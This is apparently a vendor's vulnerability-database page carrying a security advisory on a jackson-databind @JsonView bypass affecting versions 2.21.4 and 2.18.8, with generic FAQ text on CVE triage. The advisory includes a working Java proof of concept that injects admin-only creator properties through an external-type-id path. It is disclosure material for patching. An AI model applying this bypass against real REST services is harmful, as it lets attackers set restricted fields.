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CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

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A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

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A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

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Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

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jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)` — com.fasterxml.jackson.core / jackson-databind

Incorrect Authorization

Summary

In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.

This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.

Vulnerable Code Path

File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java Method: deserializeUsingPropertyBasedWithExternalTypeId

On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):

 if (creatorProp != null) {
     // [databind#1381]: if useInput=FALSE, skip deserialization from input
     if (creatorProp.isInjectionOnly()) { ... }
     // NO visibleInView(activeView) CHECK HERE
     if (!ext.handlePropertyValue(p, ctxt, propName, null)) {
         if (buffer.assignParameter(creatorProp, ...)) { ... }
     }
     continue;
 }

On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):

  if (creatorProp != null) {
     // [databind#5971]: must honor active view here too
     if ((activeView != null) &amp;&amp; !creatorProp.visibleInView(activeView)) {
         p.skipChildren();
         continue;
     }
     ...
 }

The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.

Proof of Concept

Compiles and runs against jackson-databind 2.21.4:

  import com.fasterxml.jackson.annotation.*;
  import com.fasterxml.jackson.databind.ObjectMapper;

  public class JsonViewExternalTypeIdBypass {
      public static class PublicView {}
      public static class AdminView extends PublicView {}

      public static abstract class Asset { public String name; }
      public static class PublicAsset extends Asset {}
      public static class AdminAsset extends Asset { public String secret; }

      public static class Container {
          @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
                  include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
                  property = &quot;kind&quot;)
          @JsonSubTypes({
              @JsonSubTypes.Type(value = PublicAsset.class, name = &quot;pub&quot;),
              @JsonSubTypes.Type(value = AdminAsset.class,  name = &quot;admin&quot;)
          })
          @JsonView(AdminView.class)
          public Asset asset;

          public String label;

          @JsonCreator
          public Container(
                  @JsonProperty(&quot;label&quot;) String label,
                  @JsonProperty(&quot;asset&quot;) @JsonView(AdminView.class) Asset asset) {
              this.label = label;
              this.asset = asset;
          }
      }

      public static class Wrapper {
          @JsonView(PublicView.class)
          public Container data;
      }

      public static void main(String[] args) throws Exception {
          // Admin-only &quot;asset&quot; should be blocked when reading with PublicView
          String json = &quot;{\&quot;data\&quot;:{\&quot;label\&quot;:\&quot;hello\&quot;,\&quot;kind\&quot;:\&quot;admin\&quot;,&quot;
                      + &quot;\&quot;asset\&quot;:{\&quot;name\&quot;:\&quot;foo\&quot;,\&quot;secret\&quot;:\&quot;LEAKED\&quot;}}}&quot;;

          ObjectMapper om = new ObjectMapper();
          Wrapper r = om.readerWithView(PublicView.class)
                  .forType(Wrapper.class)
                  .readValue(json);

          System.out.println(r.data);
          // Actual on 2.21.4:   Container{label=&#039;hello&#039;, asset=AdminAsset{name=&#039;foo&#039;, secret=&#039;LEAKED&#039;}}
          // Expected (secure):  Container{label=&#039;hello&#039;, asset=null}
          if (r.data.asset != null &amp;&amp; r.data.asset instanceof AdminAsset) {
              System.out.println(&quot;[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView&quot;);
          }
      }
  }

A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration.

Impact

View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.

CWE-863 (Incorrect Authorization)
Same impact class as CVE-2026-54517 / CVE-2026-54518
No RCE, no DoS — this is an access-control / mass-assignment bypass

Trigger Conditions

Developer code must combine (no opt-in user configuration required):

Property-based @JsonCreator on the outer type
A creator parameter annotated with @JsonView(RestrictedView.class)
The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")

Published: Jul 21, 2026
Updated: Jul 22, 2026
GHSA: GHSA-mhm7-754m-9p8w
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 6.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CWEs:

CWE-863

Affected Software
References

Software	From	Fixed in
com.fasterxml.jackson.core / jackson-databind	2.18.0	2.18.9
com.fasterxml.jackson.core / jackson-databind	2.21.0	2.21.5

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.